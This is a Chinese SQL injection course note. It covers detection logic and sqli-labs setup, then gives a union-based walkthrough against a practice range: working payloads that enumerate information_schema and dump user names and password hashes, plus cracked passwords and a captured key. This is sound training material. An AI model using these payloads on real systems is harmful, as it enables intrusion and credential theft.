前言
在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入
又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需
要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是
WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要
的。
本节涉及以下红圈内容
SQL注入安全测试中危害
- 危害数据库里的数据
- 直接危害到网站的权限(需要满足条件)
SQL注入产生原理详细分析
- 原理:通过参数传递将恶意SQL语句传到SQL语句,实现自定义的攻击方式
- 产生的条件:变量可控、能带入数据库查询、变量未存在过滤和过滤不严谨
- 小知识点
1 www.xiaodi8.com/index.php?id=8
2 www.xiaodi8.com/?id=10
3 www.xiaodi8.com/?id=10&x=1
4 www.xiaodi8.com/index.php
以上可能存在注入的编号选项1 2 3 4都有可能存在
2 相当于1,只是将index.php被省略了
3 就多加了一个参数
4 有post注入
参数x有注入,以下那个注入测试是正确的?
A www.xiaodi8.com/news.php?y=1 and 1=1&x=2
B www.xiaodi8.com/news.php?y=1&x=2 and 1=1
C www.xiaodi8.com/news.php?y=1 and 1=1 &x=2 and 1=1
D www.xiaodi8.com/news.php?xx=1 and 1=1 &xxx=2 and 1=1
正确答案是 BC
A 错误的原因是注入点是x,却把注入的代码写在了y的后面
D 错误的原因是注入点是x,却没有出现x这个变量
!注意:我们在进行SQL注入的过程中应该明确注入点是哪个变量,在其后面加上我们需要注入的SQL语句,在使用工具的时候可能会默认在后面加上注入的SQL语句,这时候我们应该进行修改,使得能够成功在注入点后面加上代码,从而使注入能够成功。
搭建一个SQL注入学习靶场环境
- 在这里,我们安装sqlilabs这个靶场(链接:https://github.com/Audi-1/sqli-labs)
- 安装说明:
- 解压apache文件夹内的内容,例如/var/www
- 这将在其下创建一个文件夹sqlilabs,将下载的源码放在里面
- 打开 sql-labs 文件夹内 sql-connections 文件夹下的文件“db-creds.inc”。
- 更新您的 MYSQL 数据库用户名和密码。
- 从浏览器访问 sql-labs 文件夹以加载 index.html(http://127.0.0.1/sqlilabs/index.html)
- 单击链接 setup/resetDB 以创建数据库、创建表和填充数据。
- 准备使用的实验室,点击课程编号打开课程页面。
- 享受实验室
数据库mysql简单的格式
MYSQL数据库
——数据库A = 网站A = 数据库用户A
————表名
————————列名
————————————数据
数据库B=网站B=数据库用户B
…
数据库C=网站C=数据库用户C
…
如何判断注入点?
- 老办法:
and 1=1 页面正常
and 1=2 页面错误
可能存在注入点 - 案例:
SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误 - 依据:SELECT * FROM users WHERE id=1 真
1=1 真
1=2 假真且真=真 SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
真且假=假 SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误 - 能不能用or判断?SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常
SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常不能! - 原因是什么?
前面的语句为真的时候,不能判断第两个语句为真还是假 要选用最舒服的方法测试是否存在注入点
SELECT * FROM users WHERE id=1dadad(随便输入) LIMIT 0,1
在可能存在注入的变量后随便输入值后,存在三种情况:
- 对网页有影响,说明带入数据库进行查询有注入点
- 对网页没有影响,说明没有带入数据库查询,说明对应的参数没有漏洞
- 网站出现404错误/自动跳转到其他页面,这个时候说明网站对输入的东西有检测,出现这种情况,基本不存在SQL注入漏洞
必要知识点(SQL注入)
1.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
演示
1.启动靶场
2.对页面进行sql注入检测(and 1=1)
3.猜解列名数量(字段数)
order by x(数字) 正常与错误的正常值
正确的话网页正常显示,错误的话网页报错
http://219.153.49.228:49521/new_list.php?id=1 order by 4
测试后可以发现order by 4的时候网页正常,5后面的数字网页开始报错
4.报错猜解准备
?id=1 union select 1,2,3,4
(报错可以将id=1改为-1,或加and 1=2,只要报错即可)
报错后发现 2,3可以显示,接下来对2.3进行数据查询。
5.信息收集
数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名字:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os Linux
?id=-1 union select 1,version(),database(),4
6.查询指定数据库中所有表名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
mozhe_Discuz_StormGroup下的表名信息:(StormGroup_member,notice)
?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="mozhe_Discuz_StormGroup"
7.查询指定数据表中所有列名
information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名
?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="StormGroup_member"
8.查询指定数据
(1)查询数据
?id=-1 union select 1,name,password,4 fromStormGroup_member(只能查到一个数据)
(2)猜解多个数据(通过limit x,1 变动猜解,或group——concat())
?id=-1 union select 1,group_concat(name),group_concat(password),4 fromStormGroup_member(可以查到多个数据)
?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1
?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1
9.获取到账号密码然后解密
55cdeda98baa555b6c008fab50f63660————804821
356f589a7df439f6f744ff19bb8092c0————dsan13
10.然后逐个测试进如后台
获得key;mozhebe687f0d564bcec5d4f7b5b1e06